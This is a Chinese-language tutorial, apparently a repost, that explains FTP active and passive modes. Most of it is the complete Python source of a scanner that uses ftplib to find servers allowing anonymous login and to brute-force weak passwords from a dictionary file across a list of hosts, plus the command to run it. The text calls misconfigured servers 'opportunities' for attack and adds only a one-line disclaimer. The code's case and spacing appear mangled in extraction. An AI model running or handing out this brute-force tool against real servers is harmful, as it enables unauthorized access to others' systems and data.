ftp服務器
ftp服務器是在互聯網上提供文件存儲和訪問服務的計算機,它們依照ftp協議提供服務。ftp是file transfer protocol(文件傳輸協議)的縮寫。顧名思義,就是專門用來傳輸文件的協議,簡單地說,支持ftp協議的服務器就是ftp服務器
ftp是僅基于tcp的服務,不支持udp(想想也是,傳輸文件,肯定要穩定可靠,建立連接,所以不支持udp)。與眾不同的是ftp使用2個端口,一個數據端口,一個命令端口(也叫控制端口)。通常來說這兩個端口分別是21(命名端口)和20(數據端口)。但由于ftp工作方式的不同,數據端口并不總是20.這就是主動與被動ftp的最大不同之處。
- 主動ftp
ftp服務器的控制端口是21,數據端口是20,所以在做靜態映射的時候只需開放21端口即可,他會用20端口和客戶端主動發起連接
- 被動ftp
服務器的控制端口是21,數據端口是隨機的,且是客戶端去連接對應的數據端口,所以在做靜態映射的話只開放21端口不可以的
ftp掃描的實現方案
掃描匿名ftp
ftp匿名登陸的掃描主要應用與批量掃描中,單獨針對一個ftp服務器進行掃描的話成功率比較小。很多網站都開放ftp服務方便用戶下載資源(這個允許匿名登陸不足為奇),更瘋狂的是網站管理人員為了方便網站訪問軟件的更新也開放了ftp匿名登陸,這樣就給了我們很多機會,尤其后者的服務器很容易受到攻擊
掃描ftp弱口令
弱口令掃描其實就是暴力破解,不過我們只是掃描一些簡單的密碼組合,并不是所有可能的密碼組合
步驟
ftp匿名掃描器的實現
這里需要用到python的 ftplib 庫中的ftp這個類,這個類實現了ftp客戶端的大多數功能,比如連接ftp服務器、查看服務器中的文件、上傳、下載文件等功能,詳細用法可以查看api,接下來我們首先定義 anonscan(hostname) 這個函數以實現掃描可匿名登陸的ftp服務器。代碼如下:
1
2
3
4
5
6
7
8
9
|
def anonscan(hostname): # 參數是主機名 try : with ftp(hostname) as ftp: # 創建ftp對象 ftp.login() # ftp匿名登陸 print ( "\n[*]" + str (hostname) + " ftp anonymous login successful!" ) return true except exception as e: # 拋出異常表示匿名登陸失敗 print ( "\n[-]" + str (hostname) + " ftp anonymous login failure!" ) return false |
代碼很簡短,注釋也寫的很清楚。這里還是說一下函數的思路,首先用主機名構造了一個ftp對象(即ftp),然后用ftp調用不帶參數的login()函數即表示要匿名登陸這個ftp服務器,如果登陸過程中沒有產生異常,則表明匿名登陸成功,否則匿名登陸失敗
ftp弱口令的掃描
ftp弱口令掃描依賴于用戶名和密碼字典,密碼字典 下載 ,下載之后我們將其命名為 pwd.txt
接下來針對字典中的格式來實現ftp弱口令掃描,創建代碼文件 ftpscanner.py ,代碼如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
def vlclogin(hostname, pwdfile): # parameters (hostname, dictionary file) try : with open (pwdfile, 'r' ) as pf: # open dictionary file for line in pf.readlines(): username = line.split( ':' )[ 0 ] # fetch username password = line.split( ':' )[ 1 ].strip( '\r' ).strip( '\n' ) # fetch password print ( '[+] trying: ' + username + ':' + password) try : with ftp(hostname) as ftp: ftp.login(username, password) print ( '\n[+] ' + str (hostname) + ' ftp login successful: ' + \ username + ':' + password) return (username, password) except exception as e: # continue trying other usernames and passwords pass except ioerror as e: print ( 'error: the password file does not exist!' ) print ( '\n[-] cannot crack the ftp password, please change the password dictionary try again!' ) return (none,none) |
這段代碼其實就是循環從字典中讀取用戶名和密碼并嘗試登陸,登陸成功則表明找到用戶名和密碼。由于這個函數將主機名定義成了可以用 , 分割的字符串。找到密碼并不會終止程序,而是會繼續掃描其他主機的弱口令,直到所有的主機都掃描一遍
命令行解析
至此,ftp掃描器幾乎已經完成了,現在我們要做的是讓我們的腳本可以處理命令行輸入,以控制掃描哪些主機。命令行參數我們將用到python中的 argparse 庫。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
parser = argparse.argumentparser(description = 'ftp scanner' ) parser.add_argument( '-h' ,dest = 'hostname' , help = 'the host list with ","space' ) parser.add_argument( '-f' ,dest = 'pwdfile' , help = 'password dictionary file' ) options = none try : options = parser.parse_args() except : print (parser.parse_args([ '-h' ])) exit( 0 ) hostnames = str (options.hostname).split( ',' ) pwdfile = options.pwdfile |
整合全部代碼
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
|
# -*- coding: utf-8 -*- from ftplib import * import argparse import time # anonymous login scan def anonscan(hostname): # the parameter is the host name try : with ftp(hostname) as ftp: # create ftp object ftp.login() # ftp anonymous login print ( "\n[*]" + str (hostname) + " ftp anonymous login successful!" ) return true except exception as e: # throwing an exception indicates that the anonymous login failed print ( "\n[-]" + str (hostname) + " ftp anonymous login failure!" ) return false # brute force def vlclogin(hostname, pwdfile): # parameters (hostname, dictionary file) try : with open (pwdfile, 'r' ) as pf: # open dictionary file for line in pf.readlines(): username = line.split( ':' )[ 0 ] # fetch username password = line.split( ':' )[ 1 ].strip( '\r' ).strip( '\n' ) # fetch password print ( '[+] trying: ' + username + ':' + password) try : with ftp(hostname) as ftp: ftp.login(username, password) print ( '\n[+] ' + str (hostname) + ' ftp login successful: ' + \ username + ':' + password) return (username, password) except exception as e: # continue trying other usernames and passwords pass except ioerror as e: print ( 'error: the password file does not exist!' ) print ( '\n[-] cannot crack the ftp password, please change the password dictionary try again!' ) return (none,none) def main(): parser = argparse.argumentparser(description = 'ftp scanner' ) parser.add_argument( '-h' ,dest = 'hostname' , help = 'the host list with ","space' ) parser.add_argument( '-f' ,dest = 'pwdfile' , help = 'password dictionary file' ) options = none try : options = parser.parse_args() except : print (parser.parse_args([ '-h' ])) exit( 0 ) hostnames = str (options.hostname).split( ',' ) pwdfile = options.pwdfile if hostnames = = [ 'none' ]: print (parser.parse_args([ '-h' ])) exit( 0 ) for hostname in hostnames: username = none password = none if anonscan(hostname) = = true: print ( 'host: ' + hostname + ' can anonymously!' ) elif pwdfile ! = none: (username,password) = vlclogin(hostname,pwdfile) if password ! = none: print ( '\n[+] host: ' + hostname + 'username: ' + username + \ 'password: ' + password) print ( '\n[*]-------------------scan end!--------------------[*]' ) if __name__ = = '__main__' : main() |
測試掃描
至此就可以測試我們的ftp弱口令掃描器了,在命令行中輸入
1
|
python ftpscanner.py - h 127.0 . 0.1 - f pwd.txt |
因為我本地并沒有開啟ftp服務,所以掃描不成功,大家可以嘗試在服務器上開放ftp服務,然后進行測試,絕對不能用于非法用途
以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持服務器之家。
原文鏈接:https://www.wmathor.com/index.php/archives/1188/